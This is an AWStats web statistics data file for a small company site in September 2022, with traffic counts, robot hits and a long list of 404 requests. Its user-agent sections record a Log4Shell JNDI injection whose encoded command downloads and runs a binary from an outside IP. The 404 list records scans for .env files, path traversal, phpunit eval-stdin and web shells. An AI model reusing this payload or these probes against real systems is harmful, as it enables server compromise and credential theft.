AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202209 will be lost/reset.
# Last config file used to build this data file was /homes/yggdrasi/tmp/awstats/awstats.yggdrasilsolutions.es.conf.
# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2019
POS_TIME 2697
POS_VISITOR 28024
POS_DAY 41078
POS_DOMAIN 3567
POS_LOGIN 4390
POS_ROBOT 4545
POS_WORMS 5137
POS_EMAILSENDER 5268
POS_EMAILRECEIVER 5411
POS_SESSION 41863
POS_SIDER 42054
POS_FILETYPES 5546
POS_DOWNLOADS 5681
POS_OS 8803
POS_BROWSER 9146
POS_SCREENSIZE 10585
POS_UNKNOWNREFERER 10659
POS_UNKNOWNREFERERBROWSER 11830
POS_ORIGIN 12725
POS_SEREFERRALS 12859
POS_PAGEREFS 13022
POS_SEARCHWORDS 13302
POS_KEYWORDS 13454
POS_MISC 2361
POS_ERRORS 13513
POS_CLUSTER 4246
POS_SIDER_404 13614
END_MAP
# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime = Date of first visit for history file
# LastTime = Date of last visit for history file
# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20221001000338 82 17107 3808721612027
FirstTime 20220901000523
LastTime 20220930201346
LastUpdate 20221001141712 82 0 78 3 0
TotalVisits 623
TotalUnique 334
MonthHostsKnown 0
MonthHostsUnknown 338
END_GENERAL
# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
PDFSupport 0 0 0
DirectorSupport 0 0 0
RealPlayerSupport 0 0 0
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
TotalMisc 0 0 0
AddToFavourites 0 0 0
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
END_MISC
# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 35 35 83230 160 210 1876724
1 29 29 68962 142 185 2104943
2 31 32 90201 204 266 1963873
3 26 26 56968 524 1481 2793182
4 27 27 64206 285 346 1904831
5 32 32 73718 208 250 4568841
6 29 29 68962 322 369 5371054
7 60 60 161888 321 665 1878360
8 47 47 111766 291 345 3920029
9 22 22 52316 161 197 4002097
10 60 60 159510 344 408 4696535
11 13 13 30914 243 306 2236120
12 17 17 35670 176 214 1482591
13 27 27 64206 158 203 1902778
14 62 64 211140 333 392 2700302
15 66 66 173779 195 252 1856470
16 75 78 587160 369 432 2937710
17 28 28 66584 191 231 1934392
18 38 38 87986 462 521 5507286
19 27 27 64206 158 184 1282349
20 36 37 122286 200 233 2163708
21 17 17 40426 159 195 4024254
22 30 30 71340 145 185 1696140
23 58 58 157582 194 235 1827217
END_TIME
# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 47
us 395 396 992325
fr 152 152 439192
de 77 77 183106
ru 47 47 111766
nl 24 25 77458
in 23 23 54694
ps 23 23 54694
gb 19 19 42700
il 18 18 42804
gr 17 17 40426
br 10 10 23780
ca 9 9 21402
be 7 7 16646
ua 6 6 14268
mn 6 6 14268
jp 6 6 14268
cl 5 5 2378
bo 4 4 9512
ma 3 3 7134
si 3 3 7134
co 3 3 7134
ke 2 2 4756
th 2 2 4756
se 2 3 43812
pa 2 2 4756
at 1 1 2378
mx 1 1 2378
cn 1 1 2378
eu 1 2 18861
pl 1 1 2378
tw 1 1 2378
do 1 1 2378
hu 2 2 4756
rs 1 1 2378
it 1 1 2378
cm 1 1 2378
cz 2 2 4756
bz 2 2 4756
id 1 1 2378
ec 2 2 4756
bd 1 1 2378
ar 1 1 2378
gt 1 1 2378
sg 2 2 0
ph 1 1 2378
tr 1 4 396282
my 1 1 2378
END_DOMAIN
# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER
# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN
# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 11
bot[\s_+:,\.\;\/\\-] 1744 45375825 20220930235111 0
Apache\-HttpClient/ 1440 9512 20220925031159 0
Googlebot/ 343 19882620 20220930070733 0
no_user_agent 259 611331 20220930193157 0
java 150 434434 20220925031159 0
Googlebot\-Image/ 65 198943 20220930121110 0
(firefox/)([0-9]\.|[0-1][0]\.) 23 47560 20220930120553 0
curl 17 33422 20220926082926 0
Go\-http\-client/ 12 28536 20220923072228 0
libwww\-perl 2 4756 20220924114802 0
Wget/ 1 2378 20220925040217 0
END_ROBOT
# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS
# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER
# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER
# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 4
png 1 31769 0 0
txt 5 119931 0 0
html 892 2208386 0 0
svg 1 344920 0 0
END_FILETYPES
# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 51
/tmp/awstats/ssl/awstats022021.yggdrasil.com.txt 17 0 118118
/tmp/awstats/ssl/awstats032022.yggdrasilsolutions.es.txt 14 0 258280
/tmp/awstats/ssl/awstats042022.yggdrasilsolutions.es.txt 14 0 216360
/tmp/awstats/awstats082021.yggdrasil.com.txt 14 0 313390
/tmp/awstats/awstats082022.yggdrasilsolutions.es.txt 14 0 390327
/tmp/awstats/awstats072021.yggdrasil.com.txt 14 0 338480
/tmp/awstats/ssl/awstats022022.yggdrasilsolutions.es.txt 13 0 178434
/tmp/awstats/awstats052021.yggdrasil.com.txt 13 0 308313
/tmp/awstats/awstats042022.yggdrasilsolutions.es.txt 13 0 375003
/tmp/awstats/ssl/awstats062022.yggdrasilsolutions.es.txt 13 0 245376
/tmp/awstats/awstats112021.yggdrasilsolutions.es.txt 12 0 335200
/tmp/awstats/awstats052022.yggdrasilsolutions.es.txt 12 0 324928
/tmp/awstats/ssl/awstats082022.yggdrasilsolutions.es.txt 12 0 205368
/tmp/awstats/ssl/awstats092022.yggdrasilsolutions.es.txt 11 0 121536
/tmp/awstats/ssl/awstats062021.yggdrasil.com.txt 11 0 115381
/tmp/awstats/ssl/awstats072022.yggdrasilsolutions.es.txt 11 0 176834
/tmp/awstats/awstats062021.yggdrasil.com.txt 11 0 266273
/tmp/awstats/ssl/awstats052022.yggdrasilsolutions.es.txt 11 0 136759
/tmp/awstats/ssl/awstats082021.yggdrasil.com.txt 11 0 125370
/tmp/awstats/awstats022021.yggdrasil.com.txt 11 0 109361
/tmp/awstats/ssl/awstats042021.yggdrasil.com.txt 10 0 95046
/tmp/awstats/awstats122021.yggdrasilsolutions.es.txt 10 0 310542
/tmp/awstats/awstats072022.yggdrasilsolutions.es.txt 10 0 270378
/tmp/awstats/ssl/awstats012022.yggdrasilsolutions.es.txt 10 0 124224
/tmp/awstats/ssl/awstats032021.yggdrasil.com.txt 10 0 103236
/tmp/awstats/ssl/awstats092021.yggdrasilsolutions.es.txt 10 0 110010
/tmp/awstats/awstats092021.yggdrasil.com.txt 10 0 188016
/tmp/awstats/awstats102021.yggdrasilsolutions.es.txt 9 0 1629140
/logs/yggdrasilsolutions_es.php.error.log 9 0 655
/tmp/awstats/awstats032022.yggdrasilsolutions.es.txt 9 0 283585
/tmp/awstats/ssl/awstats052021.yggdrasil.com.txt 9 0 91005
/tmp/awstats/ssl/awstats072021.yggdrasil.com.txt 8 0 71236
/mail/dovecot.list.index.log 8 0 1952
/tmp/awstats/ssl/awstats102021.yggdrasilsolutions.es.txt 8 0 99192
/tmp/awstats/awstats032021.yggdrasil.com.txt 8 0 321444
/tmp/awstats/awstats012022.yggdrasilsolutions.es.txt 8 0 183392
/tmp/awstats/ssl/awstats092021.yggdrasil.com.txt 8 0 63704
/tmp/awstats/ssl/awstats112021.yggdrasilsolutions.es.txt 8 0 84664
/tmp/awstats/awstats042021.yggdrasil.com.txt 8 0 148748
/tmp/awstats/awstats092021.yggdrasilsolutions.es.txt 7 0 83709
/tmp/awstats/awstats092022.yggdrasilsolutions.es.txt 7 0 88009
/tmp/awstats/ssl/awstats122021.yggdrasilsolutions.es.txt 7 0 85092
/mail/dovecot.index.log 7 0 120
/tmp/awstats/awstats022022.yggdrasilsolutions.es.txt 7 0 106713
/tmp/awstats/awstats062022.yggdrasilsolutions.es.txt 6 0 100252
/logs/yggdrasilsolutions.es-ssl_log-Sep-2022.gz 5 0 3005
/logs/yggdrasilsolutions.es-Sep-2022.gz 5 0 9354
/logs/yggdrasil.com-Sep-2021.gz 4 0 0
/logs/yggdrasil.com-ssl_log-Sep-2021.gz 4 0 0
/logs/yggdrasilsolutions.es-Aug-2022.gz 2 0 0
/logs/yggdrasilsolutions.es-ssl_log-Aug-2022.gz 2 0 0
END_DOWNLOADS
# OS ID - Hits
BEGIN_OS ID - Hits - Pages 20
unix 1 1
androidmarshmallow 2 2
androidpie 1 1
win7 211 208
macosx11 19 19
win10 350 347
Unknown 228 228
win8 5 5
winlong 1 1
androidnougat 2 2
winnt 1 1
androidoreo 1 1
ios_iphone 1 1
macosx8 2 2
linux 48 47
macosx15 4 4
linuxubuntu 12 12
bsdfreebsd 1 1
winxp 7 7
win2003 2 2
END_OS
# Browser ID - Hits - Pages
BEGIN_BROWSER 68
edge14 1 1
firefox53.0 2 2
chrome60.0.3112.90 6 6
firefox73.0 8 8
safari15.3 1 1
firefox78.0 74 74
chrome79.0 3 3
firefox98.0 3 3
chrome58.0.3029.110 1 1
safari10.0 1 1
chrome69.0.3497.100 2 2
chrome44.0.2403.157 11 11
chrome103.0.0.0 4 1
chrome50.0.2661.102 3 3
msie6.0 1 1
firefox89.0 1 1
chrome52.0.9401.98 2 2
chrome51.0.2704.103 35 35
chrome48.0.1322 1 1
chrome84.0.4147.111 1 1
firefox76.0 4 4
chrome7.0.540.0 2 2
chrome55.0.2869.0 1 1
chrome52.0.3025.106 1 1
firefox56.0 1 1
msie10.0 1 1
chrome106.0.0.0 1 0
chrome60.0.3032.63 1 1
mozilla 58 58
chrome74.0.3729.169 2 2
chrome105.0.0.0 2 0
chrome27.0.1453.93 1 1
chrome66.0.3359.117 1 1
chrome18.0.1025.46 1 1
chrome60.0.3043.99 1 1
chrome53.0.3062.89 1 1
chrome76.0.3809.100 1 1
msie9.0 1 1
chrome88.0.4324.190 18 18
firefox101.0 1 1
chrome91.0.4472.77 1 1
firefox65.0 2 2
safari9.1.2 16 16
firefox77.0 7 7
Unknown 83 83
netscape5.0 111 111
firefox14.0.1 1 1
chrome94.0.4606.61 2 2
chrome32.0.1664.3 1 1
chrome52.0.2743.116 43 43
firefox71.0 1 1
msie11.0 1 1
chrome90.0.4430.85 94 94
chrome41.0.2228.0 165 165
chrome24.0.1309.0 1 1
chrome101.0.4951.49 1 0
chrome27.0.1500.55 1 1
chrome96.0.4664.110 3 3
chrome60.0.3112.113 65 65
chrome70.0.3538.80 1 1
chrome79.0.3945.130 3 3
chrome74.0.3729.131 4 4
chrome95.0.4638.69 3 3
chrome78.0.3904.108 15 15
chrome104.0.0.0 1 1
chrome83.0.4103.61 2 2
firefox79.0 5 5
chrome70.0.3538.77 5 5
END_BROWSER
# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE
# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 17
masscan/1.0_(https://github.com/robertdavidgraham/masscan) 20220917101432
python-requests/2.25.1 20220903145241
\ 20220907162311
python-requests/2.28.1 20220930150416
Mozilla/5.0_zgrab/0.x 20220930181632
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20220930132139
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20220930133142
python-requests/2.27.1 20220913122909
l9explore/1.3.0 20220920062905
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.138.128.171:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTY4LjEzOC4xMjguMTcxL3BlcmwvaWRzaGExZ2FtZTsgY3VybCAtTyBodHRwOi8vMTY4LjEzOC4xMjguMTcxL3BlcmwvaWRzaGExZ2FtZTsgY2htb2QgNzc3IGlkc2hhMWdhbWU7IC4vaWRzaGExZ2FtZSBydW5uZXI=}') 20220923034240
(.*?) 20220913035720
masscan/1.3_(https://github.com/robertdavidgraham/masscan) 20220924015133
l9tcpid/v1.1.0 20220925045534
Python/3.8_aiohttp/3.6.2 20220908080051
'Mozilla/5.0 20220928023701
Mozilla/5.0 20220929230021
Mozilla/5.0_(compatible;_tchelebi/1.0;__http://tchelebi.io) 20220917040603
END_UNKNOWNREFERER
# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 13
masscan/1.3_(https://github.com/robertdavidgraham/masscan) 20220924015133
l9tcpid/v1.1.0 20220925045534
Python/3.8_aiohttp/3.6.2 20220908080051
ntopng_5.2.220602/amd64/FreeBSD_12.3 20220930201346
python-requests/2.25.1 20220903145241
python-requests/2.28.1 20220930150416
\ 20220907162311
masscan/1.0_(https://github.com/robertdavidgraham/masscan) 20220917101432
Linux_Gnu_(cow) 20220927083051
python-requests/2.27.1 20220913122909
l9explore/1.3.0 20220920062905
(.*?) 20220913035720
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//168.138.128.171:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTY4LjEzOC4xMjguMTcxL3BlcmwvaWRzaGExZ2FtZTsgY3VybCAtTyBodHRwOi8vMTY4LjEzOC4xMjguMTcxL3BlcmwvaWRzaGExZ2FtZTsgY2htb2QgNzc3IGlkc2hhMWdhbWU7IC4vaWRzaGExZ2FtZSBydW5uZXI=}') 20220923034240
END_UNKNOWNREFERERBROWSER
# Origin - Pages - Hits
BEGIN_ORIGIN 6
From0 883 884
From1 1 1
From2 1 5
From3 7 9
From4 0 0
From5 0 0
END_ORIGIN
# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 1 5
END_SEREFERRALS
# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 3
http://5.154.121.146:80/left.html 6 6
http://5.154.121.146:80 1 1
http://5.154.121.146/var/cpanel/styled/current_style/sprites/ 0 2
END_PAGEREFS
# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS
# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS
# Errors - Hits - Bandwidth
BEGIN_ERRORS 2
404 2036 2469
403 2086 0
END_ERRORS
# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 477
/images/barb1.png 2 http://5.154.121.146/tmp/analog/9.html
/manager/html 4 -
/phpmyadmin_/index.php 7 -
/default.html 1 -
/tmp/awstats/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 2 -
/xmlrpc.php 6 -
/sql/myadmin/index.php 7 -
/tmp/awstats//vendor/phpunit/phpunit/src/Util/PHP/index.php 2 -
/wp-content/alfacgiapi 1 www.bing.com
/js/ 1 -
/1index.php 1 www.bing.com
/ssl/certs/ssl/ 4 -
/../../proc/cpuinfo 2 -
/sql/phpmyadmin5/index.php 7 -
/tmp/pma_template_compiles_yggdrasi/twig/97/9734627c3841f4edcd6c2b6f193947fc0a7a9a69dd1955f703f4f691af6b45e3.php 5 -
/cgi-bin/../../../../../../../../../etc/hosts 5 -
/upload.php 1 www.bing.com
/phpmyadmin2014/index.php 7 -
/templates/beez3/cgialfa 1 www.bing.com
/index.php 1 www.bing.com
/inicio.pl 1 -
/wp-content/uploads/cgialfa 1 www.bing.com
/admin/controller/extension/extension/ALFA_DATA 1 www.bing.com
/app/config/.env 3 -
/mysql/pMA/index.php 7 -
/wp-includes/css/wp-config.php 1 www.bing.com
/cgialfa 1 www.bing.com
/download/file.ext 2 -
/localstart.aspx 1 -
/streaming/clients_live.php 2 -
/phpmyadmin2021/index.php 7 -
/wp-includes/images/css.php 1 www.bing.com
/phpmyadmin2/index.php 7 -
/mail/tmp/mail/ 4 -
/administrator/PMA/index.php 7 -
/wp-content/db-cache.php 1 www.bing.com
/db/phpmyadmin4/index.php 7 -
/local/.env 3 -
//public/index2.php 2 -
/.git/HEAD 3 -
/phpmyadmin2022/index.php 7 -
/vendor/.env 3 -
/test/wp-includes/wlwmanifest.xml 6 -
/phpMyAdmin-5/index.php 7 -
/vendor/laravel/.env 3 -
/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php 7 -
/_phpMyAdmin/index.php 7 -
/program/index.php 7 -
/agent/timeclock.php 2 -
/system_api.php 2 -
//.env 5 -
/admin.jsp 1 -
/media-admin.php 1 www.bing.com
/stalker_portal/c/version.js 2 -
/admin.shtml 1 -
/etc/yggdrasilsolutions.es/etc/ 4 -
/wp-admin/alfacgiapi 1 www.bing.com
//phpMyAdmin/scripts/setup.php 1 -
/2018/wp-includes/wlwmanifest.xml 5 -
/index.cfm 1 -
/phpmyadmin4/index.php 7 -
/phpmyadmin2012/index.php 7 -
/old/.env 3 -
//vendor/phpunit/phpunit/src/Util/PHP/index.php 2 -
/Portal/Portal.mwsl 2 -
/sites/all/libraries/mailchimp/.env 3 -
/docs/cplugError.html/ 2 -
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 14 -
/phpmy-admin/index.php 7 -
/moduless.php 1 www.bing.com
/phpmyadmin5/index.php 7 -
/blog/.env 3 -
/var/cpanel/styled/current_style/icons/var/cpanel/styled/current_style/ 4 -
/php.php 1 -
//myadmin/scripts/setup.php 1 -
/2021/09/18/hola-mundo/ 1 -
/showLogin.cc 2 -
/sito/wp-includes/wlwmanifest.xml 6 -
/actuator/health 10 -
/var/cpanel/styled/var/cpanel/ 4 -
/mysql/sqlmanager/index.php 7 -
//phpmyadmin/scripts/setup.php 1 -
/cgi-bin/luci 5 -
/scripts/WPnBr.dll 1 -
/phpMyAdmin_/index.php 7 -
/phpMyAdmin-4.9.7/index.php 7 -
/sql/webadmin/index.php 7 -
/wp-includes/alfacgiapi 1 www.bing.com
/info.php 4 -
/shells.php 1 www.bing.com
/wso.php 1 www.bing.com
/.well-known/security.txt 15 -
/phpmyadmin/scripts/setup.php 4 -
/base.aspx 1 -
/admin/pma/index.php 7 -
/HNAP1/ 21 -
/tmp/awstats//vendor/phpunit/phpunit/src/Util/Log/crimelink.php 2 -
/admin/sysadmin/index.php 7 -
/menu.jsp 1 -
/ssl/keys/ssl/ 4 -
/phppma/index.php 7 -
/c/version.js 2 -
/website/wp-includes/wlwmanifest.xml 6 -
/main.php 1 -
/.env.example 1 -
/alfa.php 1 www.bing.com
/z.php 1 www.bing.com
/api/geojson 2 -
/frontend_dev.php/$ 3 -
/a.php 1 www.bing.com
/phpMyAdmin-3/index.php 7 -
/ssl/csrs/ssl/ 4 -
/db/phpMyAdmin-4/index.php 7 -
/tmp/awstats//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 4 -
/phpMyAdmin4/index.php 7 -
/tmp/pma_template_compiles_yggdrasi/twig/4e/4e8f70ab052f0a5513536d20f156e0649e1791c083804a629624d2cb1e052f1f.php 6 -
/sql/phpmanager/index.php 7 -
/www/.env 3 -
/phpMyAdmin5/index.php 7 -
/Portal0000.htm 2 -
/new/.env 3 -
/var/cpanel/var/ 4 -
/phpMyAdmin2/index.php 7 -
/admin/phpMyAdmin/index.php 7 -
/administrator/web/index.php 7 -
/debug.cgi 6 -
/www/ 11 -
/game/zhuce/index.php 2 -
/archives.php 1 www.bing.com
/cgi-bin/.env 3 -
/idx_config/ 1 -
/admin/db/index.php 7 -
/newsite/.env 3 -
/wp-includes/cgialfa 1 www.bing.com
/style.php 1 www.bing.com
/js/chunk-vendors.6d12aee5.js 1 -
/2phpmyadmin/index.php 7 -
/tmp/analog/tmp/ 4 -
/phpMyadmin/index.php 7 -
/tmp/webalizerftp/tmp/ 4 -
/wp-load.php 1 www.bing.com
/db/dbadmin/index.php 7 -
/up.php 1 www.bing.com
/wp-content/ALFA_DATA 1 www.bing.com
/admin/index.php 7 -
/tmp/awstats//.env 5 -
/images/barb2.png 2 http://5.154.121.146/tmp/analog/ssl/yggdrasilsolutions.es/9.html
/mysql/dbadmin/index.php 7 -
/config.php 1 www.bing.com
/tmp/awstats/tmp/ 4 -
/base.pl 1 -
/mail/new/mail/ 4 -
/server-status 5 -
/wp-admin/cgialfa 1 www.bing.com
/evox/about 2 -
/nmaplowercheck1663208775 1 -
/wp-includes/css/css.php 1 www.bing.com
/db/phpMyAdmin-3/index.php 7 -
/mysql/mysqlmanager/index.php 7 -
/nmaplowercheck1664346823 1 -
/config/getuser 1 -
/phpMyAdmin-5.1.0/index.php 7 -
/db/phpmyadmin5/index.php 7 -
/stalker_portal/server/tools/auth_simple.php 6 -
/db/websql/index.php 7 -
/../../mnt/mtd/Config/Account1 2 -
/tmp/awstats/awstats012022.yggdrasilsolutions.es.txt/js/ 1 -
/wp-content/plugins/backup_index.php 1 www.bing.com
/GQxL 1 -
/db/dbweb/index.php 7 -
/base/.env 3 -
/public_html/ 13 -
/wp_wrong_datlib.php 1 www.bing.com
/database/.env 3 -
/MyAdmin/index.php 7 -
/Electron/download/windows/\\Windows\\win.ini 1 -
/images/weblogin.png 3 -
/var/cpanel/styled/current_style/sprites/var/cpanel/styled/current_style/ 4 -
/defau1t.php 1 www.bing.com
/_phpmyadmin/index.php 7 -
/readme.txt 1 -
/mysql/admin/index.php 7 -
/sendgrid.env 2 -
/admin/config.php 3 -
/vendor/phpunit/phpunit/src/Util/Log/upload.php 1 -
/legion.php 1 www.bing.com
/db/phpmyadmin3/index.php 7 -
/setup.cgi 2 -
/tmp/awstats//vendor/phpunit/phpunit/LICENSE 2 -
/protected/.env 3 -
/mysqladmin/index.php 7 -
/HNAP1 3 -
/conf/.env 3 -
/diag_ping_admin.asp 3 -
/solr/ 3 -
/ReportServer 5 -
/cms/wp-includes/wlwmanifest.xml 6 -
/phpMyAdmin-5.1.3/index.php 7 -
/administrator/phpmyadmin/index.php 7 -
/tmp/analog/ssl/yggdrasil.com/tmp/analog/ssl/ 4 -
/news/wp-includes/wlwmanifest.xml 6 -
/sql/sql-admin/index.php 7 -
/wp-admin/setup-config.php 2 -
/admin/ 2 -
/olux.php 1 www.bing.com
/admin.php 1 -
/phpmyAdmin/index.php 7 -
/_profiler/phpinfo 1 -
/db/webadmin/index.php 7 -
/1.php 1 www.bing.com
/tmp/pma_template_compiles_yggdrasi/twig/tmp/pma_template_compiles_yggdrasi/ 4 -
/manager/text/list 4 -
/sitemap.xml 19 -
/templates/beez3/index.php 1 www.bing.com
/base.shtml 1 -
/admin/controller/extension/extension/alfacgiapi 1 www.bing.com
/tmp/analog/ssl/tmp/analog/ 4 -
/sites/default/files/alfacgiapi 1 www.bing.com
/secure/login.aspx 1 -
/wp-content/themes/config.bak.php 1 www.bing.com
/phpmyadmin2019/index.php 7 -
/hudson 7 -
/sql/php-myadmin/index.php 7 -
/mail/cur/mail/ 4 -
/db/index.php 7 -
/radio.php 1 www.bing.com
/s/352e3135342e3132312e313436/_/ 2 -
/css/app.52332b12.css 1 -
/wp-includes/ALFA_DATA 1 www.bing.com
/admin/web/index.php 7 -
/tmp/awstats/js/ 1 -
/phpinfo 1 -
/db/phpMyAdmin/index.php 7 -
/images/barb16.png 1 http://5.154.121.146/tmp/analog/9.html
/wp-admin/upgrade.php 3 -
/phpmy/index.php 7 -
/test.php 2 -
/admin/phpmyadmin/index.php 7 -
/phpMyAdmin5.1/index.php 7 -
/sql/phpmyadmin3/index.php 7 -
/wp-content/mu-plugins/db-safe-mode.php 1 www.bing.com
/phpmyadmin2016/index.php 7 -
/0bef 5 -
//vendor/phpunit/phpunit/src/Util/PHP/PhpunitProcess.php 2 -
/admin.cfm 1 -
/doc.php 1 www.bing.com
/tmp/pma_template_compiles_yggdrasi/twig/4e/tmp/pma_template_compiles_yggdrasi/twig/ 4 -
/fuN3 1 -
//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 4 -
/gank.php.PhP 1 www.bing.com
/login.rsp 1 -
/wp-includes/wp-class.php 1 www.bing.com
/phpmyadmin2017/index.php 7 -
/index2.php 8 -
/vendor/phpunit/phpunit/src/Util/PHP/PhpunitProcess.php 4 -
/debug/default/view 2 -
/db/webdb/index.php 7 -
/image/lgbg.jpg 2 -
/phpmyadmin2013/index.php 7 -
/wp-admin/.env 3 -
/images/barb4.png 1 http://5.154.121.146/tmp/analog/ssl/yggdrasilsolutions.es/9.html
/wp-content/.env 3 -
/images/login.png 3 -
/js/app.d7b0caa9.js 7 -
/ups.php 1 www.bing.com
/dist/main.css 1 -
/db/phpMyAdmin-5/index.php 7 -
/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 2 -
/wp-content/uploads/ALFA_DATA 1 www.bing.com
/images/barb32.png 1 http://5.154.121.146/tmp/analog/ssl/yggdrasilsolutions.es/9.html
/phpMyAdmin3/index.php 8 -
/phpMyAdmin-5.1.1/index.php 7 -
/wp.php 1 www.bing.com
/php-my-admin/index.php 7 -
/admin.pl 1 -
/templates/beez3/alfacgiapi 1 www.bing.com
/48423327 1 -
/shopdb/index.php 7 -
/storage/.env 3 -
/health 2 -
/phpinfo.php 1 -
/wp-booking.php 1 www.bing.com
/css/chunk-136996b2.7dbb5571.css 3 -
/wordpress/wp-includes/wlwmanifest.xml 6 -
/tmp/pma_template_compiles_yggdrasi/twig/97/tmp/pma_template_compiles_yggdrasi/twig/ 4 -
/apps/.env 3 -
/a 2 -
/wp1/wp-includes/wlwmanifest.xml 6 -
/app/.env 3 -
/defau11.php 1 www.bing.com
/nice%20ports%2C/Trinity.txt.bak 1 -
/phpMyAdmin-5.2.0/index.php 7 -
/about.php 1 www.bing.com
/skin/default_1/images/logo.png 1 -
http://www.1ucn.com/proxychecker/index.php 1 -
/tmp/awstats//public/index2.php 2 -
/login.action 3 -
/var/www/html/.env 1 -
/icons/sphere1.png 2 -
/wp-admin/ALFA_DATA 1 www.bing.com
/src/.env 3 -
/2019/wp-includes/wlwmanifest.xml 5 -
/boaform/admin/formLogin 40 -
/home.shtml 1 -
/sql/sql/index.php 7 -
/sites/default/files/cgialfa 1 www.bing.com
/telescope/requests 4 -
/vsr3/App_Themes/Default/Forms.css 1 -
/exactarget/ 1 -
/blog/wp-includes/wlwmanifest.xml 6 -
/wp-content/cgialfa 1 www.bing.com
/administrator/db/index.php 7 -
/images/login1.png 3 -
/library/.env 3 -
/phpMyAdmin-4/index.php 7 -
/db/phpmyadmin/index.php 7 -
/s/lkx/_/ 2 -
/mPlayer 2 -
/.well-known/ALFA_DATA 1 www.bing.com
/mysql/pma/index.php 7 -
/default.cgi 1 -
//vendor/phpunit/phpunit/LICENSE 2 -
/pools/default/buckets 1 -
/tmp/pma_template_compiles_yggdrasi/tmp/ 4 -
/phpMyAdmin-5.1.2/index.php 7 -
